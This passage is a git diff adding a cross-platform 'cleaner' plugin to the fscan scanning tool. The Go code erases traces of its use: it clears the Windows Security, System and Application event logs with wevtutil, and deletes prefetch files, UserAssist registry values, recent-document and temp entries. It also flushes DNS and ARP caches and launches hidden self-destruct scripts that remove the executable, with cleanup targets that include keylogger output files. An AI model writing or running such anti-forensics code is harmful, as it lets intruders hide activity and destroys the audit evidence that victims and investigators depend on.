entries, err := os.ReadDir(cacheDir)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, entry := range entries {
|
||||||
|
entryPath := filepath.Join(cacheDir, entry.Name())
|
||||||
|
entryName := strings.ToLower(entry.Name())
|
||||||
|
|
||||||
|
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "scan") {
|
||||||
|
if entry.IsDir() {
|
||||||
|
if err := os.RemoveAll(entryPath); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("删除缓存目录失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, entryPath)
|
||||||
|
p.cleanupStats["directories"]++
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if err := os.Remove(entryPath); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("删除缓存文件失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, entryPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanRecentFiles 清理最近访问文件记录
|
||||||
|
func (p *CleanerPlugin) cleanRecentFiles() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
homeDir := os.Getenv("HOME")
|
||||||
|
if homeDir == "" {
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// 最近文件记录路径
|
||||||
|
recentPaths := []string{
|
||||||
|
filepath.Join(homeDir, ".local", "share", "recently-used.xbel"),
|
||||||
|
filepath.Join(homeDir, ".recently-used"),
|
||||||
|
filepath.Join(homeDir, ".gtk-bookmarks"),
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, recentPath := range recentPaths {
|
||||||
|
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取并过滤文件内容
|
||||||
|
content, err := os.ReadFile(recentPath)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
lines := strings.Split(string(content), "\n")
|
||||||
|
var filteredLines []string
|
||||||
|
removedCount := 0
|
||||||
|
|
||||||
|
for _, line := range lines {
|
||||||
|
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||||
|
removedCount++
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
filteredLines = append(filteredLines, line)
|
||||||
|
}
|
||||||
|
|
||||||
|
if removedCount > 0 {
|
||||||
|
newContent := strings.Join(filteredLines, "\n")
|
||||||
|
if err := os.WriteFile(recentPath, []byte(newContent), 0644); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("更新最近文件记录失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", recentPath, removedCount))
|
||||||
|
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", filepath.Base(recentPath), removedCount))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanNetworkTraces 清理网络痕迹
|
||||||
|
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||||||
|
report := make(map[string]interface{})
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 清理DNS缓存 (systemd-resolved)
|
||||||
|
if err := exec.Command("systemctl", "flush-dns").Run(); err != nil {
|
||||||
|
// 尝试其他DNS清理方法
|
||||||
|
if err2 := exec.Command("systemd-resolve", "--flush-caches").Run(); err2 != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v, %v", err, err2))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "DNS Cache (systemd-resolve)")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "DNS Cache (systemctl)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理ARP缓存
|
||||||
|
if err := exec.Command("ip", "neigh", "flush", "all").Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "ARP Cache")
|
||||||
|
common.LogSuccess("已清理ARP缓存")
|
||||||
|
}
|
||||||
|
|
||||||
|
report["network_caches"] = cleaned
|
||||||
|
report["total_cleaned"] = len(cleaned)
|
||||||
|
|
||||||
|
return report
|
||||||
|
}
|
||||||
|
|
||||||
|
// createUnixSelfDestruct 创建Unix自毁脚本
|
||||||
|
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
|
||||||
|
report := make(map[string]interface{})
|
||||||
|
|
||||||
|
// 创建shell自毁脚本
|
||||||
|
shellScript := fmt.Sprintf(`#!/bin/bash
|
||||||
|
sleep 2
|
||||||
|
rm -f "%s" 2>/dev/null
|
||||||
|
rm -f "$0" 2>/dev/null
|
||||||
|
exit 0`, p.currentExecutable)
|
||||||
|
|
||||||
|
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
|
||||||
|
|
||||||
|
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||||||
|
report["status"] = "failed"
|
||||||
|
report["error"] = err.Error()
|
||||||
|
} else {
|
||||||
|
// 异步执行自毁脚本
|
||||||
|
go func() {
|
||||||
|
time.Sleep(1 * time.Second)
|
||||||
|
cmd := exec.Command("/bin/sh", scriptPath)
|
||||||
|
cmd.Start()
|
||||||
|
}()
|
||||||
|
|
||||||
|
report["status"] = "scheduled"
|
||||||
|
report["script_path"] = scriptPath
|
||||||
|
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||||||
|
}
|
||||||
|
|
||||||
|
return report
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepareSelfDestruction 准备自毁
|
||||||
|
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||||||
|
return p.createUnixSelfDestruct()
|
||||||
|
}
|
359
Plugins/local/cleaner/cleaner_windows.go
Normal file
359
Plugins/local/cleaner/cleaner_windows.go
Normal file
@ -0,0 +1,359 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package cleaner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// cleanSystemTraces 清理Windows系统痕迹
|
||||||
|
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||||||
|
report := make(map[string]interface{})
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 1. 清理Windows事件日志
|
||||||
|
if eventLogs := p.cleanWindowsEventLogs(); len(eventLogs) > 0 {
|
||||||
|
cleaned = append(cleaned, eventLogs...)
|
||||||
|
report["event_logs"] = eventLogs
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 清理预取文件
|
||||||
|
if prefetchFiles := p.cleanPrefetchFiles(); len(prefetchFiles) > 0 {
|
||||||
|
cleaned = append(cleaned, prefetchFiles...)
|
||||||
|
report["prefetch_files"] = prefetchFiles
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. 清理注册表痕迹
|
||||||
|
if registryKeys := p.cleanRegistryTraces(); len(registryKeys) > 0 {
|
||||||
|
cleaned = append(cleaned, registryKeys...)
|
||||||
|
report["registry_keys"] = registryKeys
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. 清理最近文档记录
|
||||||
|
if recentDocs := p.cleanRecentDocuments(); len(recentDocs) > 0 {
|
||||||
|
cleaned = append(cleaned, recentDocs...)
|
||||||
|
report["recent_documents"] = recentDocs
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. 清理Windows临时文件
|
||||||
|
if tempFiles := p.cleanWindowsTempFiles(); len(tempFiles) > 0 {
|
||||||
|
cleaned = append(cleaned, tempFiles...)
|
||||||
|
report["temp_files"] = tempFiles
|
||||||
|
}
|
||||||
|
|
||||||
|
p.cleanupStats["system_entries"] += len(cleaned)
|
||||||
|
report["total_cleaned"] = len(cleaned)
|
||||||
|
|
||||||
|
return report
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanWindowsEventLogs 清理Windows事件日志
|
||||||
|
func (p *CleanerPlugin) cleanWindowsEventLogs() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 尝试清理应用程序日志中的相关条目
|
||||||
|
logs := []string{"Application", "System", "Security"}
|
||||||
|
|
||||||
|
for _, logName := range logs {
|
||||||
|
// 使用wevtutil清理日志
|
||||||
|
cmd := exec.Command("wevtutil", "cl", logName)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||||
|
|
||||||
|
if err := cmd.Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("清理 %s 日志失败 (权限不足): %v", logName, err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, fmt.Sprintf("Windows Event Log: %s", logName))
|
||||||
|
common.LogSuccess(fmt.Sprintf("已清理Windows事件日志: %s", logName))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanPrefetchFiles 清理预取文件
|
||||||
|
func (p *CleanerPlugin) cleanPrefetchFiles() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
prefetchDir := "C:\\Windows\\Prefetch"
|
||||||
|
if _, err := os.Stat(prefetchDir); os.IsNotExist(err) {
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// 查找fscan相关的预取文件
|
||||||
|
entries, err := os.ReadDir(prefetchDir)
|
||||||
|
if err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("无法访问预取目录 (权限不足): %v", err))
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, entry := range entries {
|
||||||
|
if entry.IsDir() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
filename := strings.ToUpper(entry.Name())
|
||||||
|
if strings.Contains(filename, "FSCAN") {
|
||||||
|
prefetchFile := filepath.Join(prefetchDir, entry.Name())
|
||||||
|
if err := os.Remove(prefetchFile); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("删除预取文件失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, prefetchFile)
|
||||||
|
common.LogSuccess(fmt.Sprintf("已删除预取文件: %s", entry.Name()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanRegistryTraces 清理注册表痕迹
|
||||||
|
func (p *CleanerPlugin) cleanRegistryTraces() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 清理UserAssist注册表项
|
||||||
|
if userAssist := p.cleanUserAssistRegistry(); len(userAssist) > 0 {
|
||||||
|
cleaned = append(cleaned, userAssist...)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理MRU(最近使用)记录
|
||||||
|
if mru := p.cleanMRURegistry(); len(mru) > 0 {
|
||||||
|
cleaned = append(cleaned, mru...)
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanUserAssistRegistry 清理UserAssist注册表
|
||||||
|
func (p *CleanerPlugin) cleanUserAssistRegistry() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// UserAssist键路径
|
||||||
|
keyPaths := []string{
|
||||||
|
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count",
|
||||||
|
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\\Count",
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, keyPath := range keyPaths {
|
||||||
|
// 查询注册表项
|
||||||
|
cmd := exec.Command("reg", "query", keyPath)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||||
|
|
||||||
|
output, err := cmd.Output()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 查找fscan相关条目并删除
|
||||||
|
lines := strings.Split(string(output), "\n")
|
||||||
|
for _, line := range lines {
|
||||||
|
if strings.Contains(strings.ToUpper(line), "FSCAN") {
|
||||||
|
// 提取值名称
|
||||||
|
parts := strings.Fields(line)
|
||||||
|
if len(parts) > 0 {
|
||||||
|
valueName := parts[0]
|
||||||
|
|
||||||
|
// 删除注册表值
|
||||||
|
delCmd := exec.Command("reg", "delete", keyPath, "/v", valueName, "/f")
|
||||||
|
delCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||||
|
|
||||||
|
if err := delCmd.Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("删除注册表项失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, fmt.Sprintf("Registry: %s\\%s", keyPath, valueName))
|
||||||
|
common.LogSuccess(fmt.Sprintf("已删除UserAssist记录: %s", valueName))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanMRURegistry 清理MRU注册表记录
|
||||||
|
func (p *CleanerPlugin) cleanMRURegistry() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// MRU键路径
|
||||||
|
mruKeys := []string{
|
||||||
|
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs",
|
||||||
|
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU",
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, keyPath := range mruKeys {
|
||||||
|
// 这里可以添加更复杂的MRU清理逻辑
|
||||||
|
// 由于安全考虑,暂时只记录路径
|
||||||
|
common.LogDebug(fmt.Sprintf("检查MRU路径: %s", keyPath))
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanRecentDocuments 清理最近文档记录
|
||||||
|
func (p *CleanerPlugin) cleanRecentDocuments() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 获取用户目录
|
||||||
|
userProfile := os.Getenv("USERPROFILE")
|
||||||
|
if userProfile == "" {
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// 最近文档目录
|
||||||
|
recentDir := filepath.Join(userProfile, "AppData", "Roaming", "Microsoft", "Windows", "Recent")
|
||||||
|
|
||||||
|
entries, err := os.ReadDir(recentDir)
|
||||||
|
if err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("无法访问最近文档目录: %v", err))
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, entry := range entries {
|
||||||
|
if entry.IsDir() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
filename := strings.ToLower(entry.Name())
|
||||||
|
if strings.Contains(filename, "fscan") || strings.Contains(filename, "result") {
|
||||||
|
recentFile := filepath.Join(recentDir, entry.Name())
|
||||||
|
if err := os.Remove(recentFile); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("删除最近文档失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, recentFile)
|
||||||
|
common.LogSuccess(fmt.Sprintf("已删除最近文档: %s", entry.Name()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanWindowsTempFiles 清理Windows临时文件
|
||||||
|
func (p *CleanerPlugin) cleanWindowsTempFiles() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 临时目录
|
||||||
|
tempDirs := []string{
|
||||||
|
os.Getenv("TEMP"),
|
||||||
|
os.Getenv("TMP"),
|
||||||
|
"C:\\Windows\\Temp",
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tempDir := range tempDirs {
|
||||||
|
if tempDir == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
entries, err := os.ReadDir(tempDir)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, entry := range entries {
|
||||||
|
if entry.IsDir() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
filename := strings.ToLower(entry.Name())
|
||||||
|
if strings.Contains(filename, "fscan") || strings.Contains(filename, "tmp") {
|
||||||
|
tempFile := filepath.Join(tempDir, entry.Name())
|
||||||
|
|
||||||
|
// 检查文件是否太新(可能正在使用)
|
||||||
|
if info, err := entry.Info(); err == nil {
|
||||||
|
if time.Since(info.ModTime()) < 5*time.Minute {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := os.Remove(tempFile); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, tempFile)
|
||||||
|
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanNetworkTraces 清理网络痕迹
|
||||||
|
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||||||
|
report := make(map[string]interface{})
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
// 1. 清理DNS缓存
|
||||||
|
cmd := exec.Command("ipconfig", "/flushdns")
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||||
|
|
||||||
|
if err := cmd.Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "DNS Cache")
|
||||||
|
common.LogSuccess("已清理DNS缓存")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 清理ARP缓存
|
||||||
|
arpCmd := exec.Command("arp", "-d", "*")
|
||||||
|
arpCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||||
|
|
||||||
|
if err := arpCmd.Run(); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, "ARP Cache")
|
||||||
|
common.LogSuccess("已清理ARP缓存")
|
||||||
|
}
|
||||||
|
|
||||||
|
report["network_caches"] = cleaned
|
||||||
|
report["total_cleaned"] = len(cleaned)
|
||||||
|
|
||||||
|
return report
|
||||||
|
}
|
||||||
|
|
||||||
|
// createWindowsSelfDestruct 创建Windows自毁脚本
|
||||||
|
func (p *CleanerPlugin) createWindowsSelfDestruct() map[string]interface{} {
|
||||||
|
report := make(map[string]interface{})
|
||||||
|
|
||||||
|
// 创建批处理自毁脚本
|
||||||
|
batchScript := fmt.Sprintf(`@echo off
|
||||||
|
timeout /t 2 /nobreak > nul
|
||||||
|
del /f /q "%s" 2>nul
|
||||||
|
del /f /q "%%~f0" 2>nul
|
||||||
|
exit`, p.currentExecutable)
|
||||||
|
|
||||||
|
scriptPath := filepath.Join(p.workingDirectory, "cleanup.bat")
|
||||||
|
|
||||||
|
if err := os.WriteFile(scriptPath, []byte(batchScript), 0644); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||||||
|
report["status"] = "failed"
|
||||||
|
report["error"] = err.Error()
|
||||||
|
} else {
|
||||||
|
// 异步执行自毁脚本
|
||||||
|
go func() {
|
||||||
|
time.Sleep(1 * time.Second)
|
||||||
|
cmd := exec.Command(scriptPath)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||||
|
cmd.Start()
|
||||||
|
}()
|
||||||
|
|
||||||
|
report["status"] = "scheduled"
|
||||||
|
report["script_path"] = scriptPath
|
||||||
|
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||||||
|
}
|
||||||
|
|
||||||
|
return report
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepareSelfDestruction 准备自毁
|
||||||
|
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||||||
|
return p.createWindowsSelfDestruct()
|
||||||
|
}
|
386
Plugins/local/cleaner/plugin.go
Normal file
386
Plugins/local/cleaner/plugin.go
Normal file
@ -0,0 +1,386 @@
|
|||||||
|
package cleaner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/local"
|
||||||
|
)
|
||||||
|
|
||||||
|
// CleanerPlugin 系统痕迹清理插件 - 跨平台支持
|
||||||
|
type CleanerPlugin struct {
|
||||||
|
*local.BaseLocalPlugin
|
||||||
|
|
||||||
|
// 配置选项
|
||||||
|
targetFiles []string // 要清理的文件列表
|
||||||
|
cleanDirectories []string // 要清理的目录列表
|
||||||
|
currentExecutable string // 当前执行文件路径
|
||||||
|
workingDirectory string // 当前工作目录
|
||||||
|
cleanupStats map[string]int // 清理统计
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewCleanerPlugin 创建系统痕迹清理插件
|
||||||
|
func NewCleanerPlugin() *CleanerPlugin {
|
||||||
|
metadata := &base.PluginMetadata{
|
||||||
|
Name: "cleaner",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"local", "cleaner", "forensics", "cross-platform"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
}
|
||||||
|
|
||||||
|
plugin := &CleanerPlugin{
|
||||||
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||||
|
targetFiles: make([]string, 0),
|
||||||
|
cleanDirectories: make([]string, 0),
|
||||||
|
cleanupStats: make(map[string]int),
|
||||||
|
}
|
||||||
|
|
||||||
|
// 支持所有主要平台
|
||||||
|
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||||
|
// 需要系统权限进行清理操作
|
||||||
|
plugin.SetRequiresPrivileges(false) // 根据当前用户权限进行清理
|
||||||
|
|
||||||
|
return plugin
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize 初始化插件
|
||||||
|
func (p *CleanerPlugin) Initialize() error {
|
||||||
|
common.LogInfo(fmt.Sprintf("初始化系统痕迹清理插件 - 平台: %s", runtime.GOOS))
|
||||||
|
|
||||||
|
// 获取当前执行文件路径
|
||||||
|
if exe, err := os.Executable(); err == nil {
|
||||||
|
p.currentExecutable = exe
|
||||||
|
common.LogDebug(fmt.Sprintf("当前执行文件: %s", exe))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取当前工作目录
|
||||||
|
if wd, err := os.Getwd(); err == nil {
|
||||||
|
p.workingDirectory = wd
|
||||||
|
common.LogDebug(fmt.Sprintf("当前工作目录: %s", wd))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 扫描要清理的文件
|
||||||
|
if err := p.scanCleanupTargets(); err != nil {
|
||||||
|
return fmt.Errorf("扫描清理目标失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return p.BaseLocalPlugin.Initialize()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||||
|
func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
return p.ScanLocal(ctx, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanLocal 执行系统痕迹清理任务
|
||||||
|
func (p *CleanerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
common.LogInfo("开始系统痕迹清理...")
|
||||||
|
|
||||||
|
// 执行清理操作
|
||||||
|
cleanupReport, err := p.performCleanup(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: err,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
result := &base.ScanResult{
|
||||||
|
Success: true,
|
||||||
|
Service: "SystemCleaner",
|
||||||
|
Banner: fmt.Sprintf("痕迹清理完成: 清理了 %d 个文件, %d 个目录, %d 个系统条目",
|
||||||
|
p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"]),
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"platform": runtime.GOOS,
|
||||||
|
"files_cleaned": p.cleanupStats["files"],
|
||||||
|
"directories_cleaned": p.cleanupStats["directories"],
|
||||||
|
"system_entries_cleaned": p.cleanupStats["system_entries"],
|
||||||
|
"cleanup_report": cleanupReport,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogSuccess(fmt.Sprintf("系统痕迹清理完成: 文件(%d) 目录(%d) 系统条目(%d)",
|
||||||
|
p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"]))
|
||||||
|
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// scanCleanupTargets 扫描要清理的目标
|
||||||
|
func (p *CleanerPlugin) scanCleanupTargets() error {
|
||||||
|
common.LogInfo("扫描清理目标...")
|
||||||
|
|
||||||
|
// 扫描当前目录下的fscan相关文件
|
||||||
|
if err := filepath.Walk(p.workingDirectory, func(path string, info os.FileInfo, err error) error {
|
||||||
|
if err != nil {
|
||||||
|
return nil // 忽略访问错误
|
||||||
|
}
|
||||||
|
|
||||||
|
if info.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
filename := strings.ToLower(info.Name())
|
||||||
|
|
||||||
|
// 检查fscan相关文件
|
||||||
|
if p.isFscanRelatedFile(filename) {
|
||||||
|
p.targetFiles = append(p.targetFiles, path)
|
||||||
|
common.LogDebug(fmt.Sprintf("发现清理目标: %s", path))
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("扫描文件失败: %v", err))
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogInfo(fmt.Sprintf("发现 %d 个文件需要清理", len(p.targetFiles)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// isFscanRelatedFile 判断是否为fscan相关文件 - 使用保守的策略
|
||||||
|
func (p *CleanerPlugin) isFscanRelatedFile(filename string) bool {
|
||||||
|
// 严格的项目文件排除列表 - 确保不误删项目文件
|
||||||
|
excludePatterns := []string{
|
||||||
|
".go", ".mod", ".sum", ".md", ".yml", ".yaml", // 源码和配置
|
||||||
|
".git", ".claude", ".idea", ".vscode", // 版本控制和IDE
|
||||||
|
"dockerfile", "makefile", "license", "readme", // 项目文件
|
||||||
|
"plugins", "common", "core", "webscan", // 核心目录
|
||||||
|
"testdocker", // 测试配置
|
||||||
|
".json", ".xml", // 配置文件
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否为需要排除的文件
|
||||||
|
for _, exclude := range excludePatterns {
|
||||||
|
if strings.Contains(filename, exclude) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 只清理明确的输出和结果文件 - 非常保守的策略
|
||||||
|
cleanPatterns := []string{
|
||||||
|
"result.txt", // 默认扫描结果文件
|
||||||
|
"results.txt", // 可能的结果文件
|
||||||
|
"output.txt", // 输出文件
|
||||||
|
"scan_result.txt", // 扫描结果
|
||||||
|
"keylog.txt", // 键盘记录输出
|
||||||
|
"my_keylog.txt", // 自定义键盘记录
|
||||||
|
}
|
||||||
|
|
||||||
|
// 排除当前执行文件(稍后单独处理)
|
||||||
|
if p.currentExecutable != "" {
|
||||||
|
currentExeName := strings.ToLower(filepath.Base(p.currentExecutable))
|
||||||
|
if filename == currentExeName {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 只清理明确匹配的输出文件
|
||||||
|
for _, pattern := range cleanPatterns {
|
||||||
|
if filename == pattern { // 精确匹配,不使用 Contains
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理明确的测试生成可执行文件(但保留源码)
|
||||||
|
if strings.HasSuffix(filename, ".exe") {
|
||||||
|
// 只清理包含特定测试标识的exe文件
|
||||||
|
testPatterns := []string{"_test.exe", "_debug.exe", "fscan_test", "fscan_debug"}
|
||||||
|
for _, pattern := range testPatterns {
|
||||||
|
if strings.Contains(filename, pattern) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// performCleanup 执行清理操作
|
||||||
|
